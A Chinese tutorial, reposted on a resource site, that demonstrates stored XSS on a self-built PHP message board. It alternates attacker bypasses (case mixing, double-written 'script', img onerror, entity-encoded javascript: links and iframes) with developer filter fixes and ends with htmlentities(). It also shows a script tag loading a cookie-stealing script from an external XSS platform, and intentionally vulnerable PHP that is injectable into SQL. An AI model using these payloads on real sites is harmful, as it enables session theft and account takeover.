最新公告
  • 欢迎您光临立业阁,本站秉承服务宗旨 履行“站长”责任,销售只是起点 服务永无止境!立即加入我们
  • 一次存储型XSS的攻防实战_安全教程


    什么是存储型XSS

    它是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,一般是注入一段javascript脚本。在测试过程中,我们一般是使用:

    <script>alert(1)</script>

    通过这段js代码,弹个框来证明存在xss漏洞。那么,可能新手就会问了,弹个框有什么用呢?

    其实,弹框只是为了证明存在此漏洞。而此漏洞的利用方式由很多种。

    比如,你可以使用xss平台:

    0f29abcb0ef8b6631c32c75d18abdd7.png

    写入一段平台生成的xss脚本:

    <script src=//xsspt.com/ZsgUBf></script>

    当某人进入带有这个脚本的页面时,js脚本会获取他的cookie并发往xss平台。

    你只需要登录xss平台等待即可,拿到cookie后,可以不需要密码登录他的账号。

    注意:本文的重点是一步一步以黑客的角度进行xss攻击,再讨论如何站在开发者的角度去一步一步防御xss攻击。所以我会在本文中以开发的身份修正后端代码,再以黑客的身份进行前端页面的xss攻击,这一点需要注意哦。

    对于存储型xss漏洞的表现形式,比较经典的是留言板。但是我们都是遵纪守法的好同学,不能对外面的网站进行测试,所以就花半个小时自己手撸一个留言板咯。

    首先,应该有前端展示的页面Message_Board.php和后端存储数据的页面addMessage.php

    dd340fe4f0d84836614e548b0430943.png

    前端代码不是本文重点(感兴趣的可以自行查看前端代码),我们重点关注后端代码addMessage.php:

    <?php
    	$nickname = @$_POST['nickname'];//昵称
    	$email = @$_POST['email'];//邮箱
    	$content = @$_POST['content'];//留言内容
    	$now_time = @$_POST['now_time'];//留言时间
    	$ini= @parse_ini_file("config.ini");
        $con = @mysql_connect($ini["servername"],$ini["username"],$ini["password"]);	if($con){
    		mysql_query("set names 'utf8'");//解决中文乱码问题
    		mysql_select_db($ini["dbname"]);
    		$sql1 = "select count(*) from message_board";
    		$result = mysql_query($sql1);
    		$floor = mysql_fetch_row($result)[0] + 1;
    		$sql = "insert into message_board values
    ($floor,\"$nickname\",\"$email\",\"$content\",\"$now_time\")";
    		mysql_query($sql);
    	}?>

    可以看到,我们对传入的四个参数完全没有处理,而是直接存入数据库中。

    所以,只要我们这样输入:

    eccc01dfd6e78c932ded3b7bbd82c15.png

    提交之后,系统会自动刷新页面出现弹框:

    e0df2cc1a008b2baa6e2a9286eb03d1.png

    点击确定后,你会发现留言内容和留言者的部分都为空。

    8cbf337e184fb5c36f922a1ce06d6b2.png

    这是因为js脚本已经被解析了,这时我们按F12,打开浏览器的开发者工具,发现了js脚本。

    8.jpg

    那么,问题来了。

    毕竟我们还有另外一个身份,开发者该如何防御呢?

    0×00、来个最简单的,只修改前端代码

    在input标签里面加上maxlength属性

    <input type="text" name="nickname" placeholder="留言者昵称" maxlength="10">

    至于原理嘛,就是因为js脚本的形式为<script></script>长度为17,所以只要我们在前端对长度进行限制,就可以阻止黑客进行xss攻击了。

    可是!开发可没这么好做!

    我们是想做开发的黑客,所以还得自己搞自己。

    作为攻击者,我们同样可以修改前端代码,具体的操作是使用浏览器的F12(开发者工具)

    9.jpg

    可以看到,我们可以直接进行长度的修改。

    另外,还可以用抓包的方法,在包里面直接写,也是不受长度限制的。

    0×01、对关键字script进行过滤

    作为开发者,你很容易发现,要想进行xss攻击,必须插入一段js脚本,而js脚本的特征是很明显的,脚本中包含script关键字,那么我们只需要进行script过滤即可。

    回到之前的代码。

    为方便说明,我只取nickname参数,其实传入的四个参数需要做同样的处理。

    $nickname = str_replace("script", "", @$_POST['nickname']);//昵称

    上面这个str_replace()函数的意思是把script替换为空。

    可以看到,script被替换为空,弹框失败。

    10.jpg

    那么黑客该如何继续进行攻击呢?

    答案是:大小写绕过

    <sCrIPt>alert(1)</ScripT>

    5ab06447fe511961dfb712752a6b2a5.png

    因为js是不区分大小写的,所以我们的大小写不影响脚本的执行。

    成功弹框!

    aa626e7887d96823133082d89bf6299.png

    0×02、使用str_ireplace()函数进行不区分大小写地过滤script关键字

    作为一名优秀的开发,发现了问题当然要及时改正,不区分大小写不就行了嘛。

    后端代码修正如下:

    $nickname = str_ireplace("script", "", @$_POST['nickname']);//昵称

    str_ireplace()函数类似于上面的str_replace(),但是它不区分大小写。

    那么,黑客该如何绕过?

    答案是:双写script

    <Sscriptcript>alert(1)</Sscriptcript>

    d13fc9cca642e466de8a5946df0e9a0.png

    原理就是str_ireplace()函数只找出了中间的script关键字,前面的S和后面的cript组合在一起,构成了新的Script关键字。

    弹框成功!

    b2c80a7f5749ddbbbcb405efc494cc0.png

    0×03、使用preg_replace()函数进行正则表达式过滤script关键字

    $nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称

    显然,弹框失败。

    11.jpg

    攻击者如何再一次绕过?

    答案是:用img标签的oneerror属性

    <img src=x onerror=alert(1)>

    0×04、过滤alert关键字

    看到这里,不知道你烦了没有,以开发的角度来讲,我都有点烦。大黑阔你不是喜欢弹窗么?我过滤alert关键字看你怎么弹!

    $nickname = preg_replace( "/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i", "", @$_POST['nickname']);//昵称
    $nickname = preg_replace( "(.*)a(.*)l(.*)e(.*)r(.*)t/i", "", $nickname);//昵称

    那么,攻击者该怎么办呢?

    答案是:编码绕过

    <a href=javascript:alert(
    1)>a</a>

    当点击页面上的超链接时,会弹框。

    12.jpg

    但是为什么呢?

    这种编码方式为字符编码

    字符编码:十进制、十六进制ASCII码或unicode 字符编码,样式为“&#数值;”, 例如“j”可以编码为“j”或“j ”

    上述代码解码之后如下:

    <a href=javascript:alert(1)>a</a>

    你能明显感觉到限制:由于使用到了a标签,所以只有点击时,才会弹框。

    作为一个大黑阔,我们当然是不满意的,能不能让所有进入这个页面的人都弹框?

    当然可以了:用iframe标签编码

    <iframe src=javascript:alert(1
    )>

    这种写法,同样既没有script关键字,又没有alert关键字。

    4d16afd83acdb92b07ad5399d502af1.png

    可以看到弹框成功!

    5ba7af0d4bfa70a4e75f74d96b3ade2.png

    可是你也能看到,由于使用了iframe标签,留言板的样式已经变形了。实战中尽量不要用。

    0×05、过滤特殊字符

    优秀的开发,永不认输!你个小小的黑阔,不就是会插入js代码么?我过滤特殊字符,看你代码咋被解析?

    可是我不想手撸代码来列举那么多特殊字符怎么办?

    php给我们提供了htmlentities()函数:

    $nickname = htmlentities(@$_POST['nickname']);//昵称

    htmlentities()函数的作用是把字符转换为 HTML 实体。

    7d8aa122e7c3676c9dd6f2931e8eee5.png

    看到这里,你可能还是不明白HTML字符实体是什么。我举个例子吧,当你想在HTML页面上显示一个小于号(<)时,浏览器会认为这是标签的一部分(因为所有标签都由大于号,标签名和小于号构成),因此,为了能在页面上显示这个小于号(<),我们引入了HTML字符实体的概念,能够在页面上显示类似于小于号(<)这样的特殊符号,而不会影响到页面标签的解析。

    可以看到,我们输入的内容全部显示在页面上了。

    13.jpg

    可是却没有弹框。

    我们鼠标右键,查看网页源代码

    3ed483569df8bc317cd599553db6cae.png

    际上,我们输入的内容已经变成了HTML实体:

    &lt;iframe src=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;
    &amp;#112;&amp;#116;&amp;#58;&amp;#97;&amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#49;&amp;#41;&gt;

    无法被解析为js脚本。

    黑客在当前场景下已经无法攻击了(在某些其他场景,即使使用了htmlentities()函数,仍然是可以攻击的,这就不在本文讨论范围之内了)

    0×06、总结

    开发者不应该只考虑关键字的过滤,还应该考虑特殊符号的过滤 。

    黑客在面对未知的情况时,要不断尝试,这对于知识的储备量有较高的要求。

    对于xss攻击,站在开发者角度来讲,仅仅用一个htmlentities()函数基本可以做到防御,可是一个优秀的开发者应该明白它的原理。站在黑客的角度来讲,面对环境的逐步变化,条件的逐步限制,攻击思路灵活变化是对整个职业生涯有益的。

    相关文章教程推荐:web服务器安全

    以上就是一次存储型XSS的攻防实战的详细内容,更多请关注liyege.cn其它相关文章!

    常见问题FAQ

    免费下载或者VIP会员专享资源能否直接商用?
    本站所有资源版权均属于原作者所有,这里所提供资源均只能用于参考学习用,请勿直接商用。若由于商用引起版权纠纷,一切责任均由使用者承担。更多说明请参考 VIP介绍。
    提示下载完但解压或打开不了?
    最常见的情况是下载不完整: 可对比下载完压缩包的与网盘上的容量,若小于网盘提示的容量则是这个原因。这是浏览器下载的bug,建议用百度网盘软件或迅雷下载。若排除这种情况,可在对应资源底部留言,或 联络我们.。
    找不到素材资源介绍文章里的示例图片?
    对于PPT,KEY,Mockups,APP,网页模版等类型的素材,文章内用于介绍的图片通常并不包含在对应可供下载素材包内。这些相关商业图片需另外购买,且本站不负责(也没有办法)找到出处。 同样地一些字体文件也是这种情况,但部分素材会在素材包内有一份字体下载链接清单。
    • 1175会员总数(位)
    • 111858资源总数(个)
    • 2本周发布(个)
    • 0 今日发布(个)
    • 246稳定运行(天)

    提供最优质的资源集合

    立即查看 了解详情
    冀ICP备19022365号-1 百度地图

    [email protected]

    立业阁(www.liyege.cn)免费提供wordpress主题模板、dedecms模板、帝国cms模板、小说网站源码、电影网站源码以及网络技术分享,建站源码,小说模板,电影模板,网赚教程,VPS推荐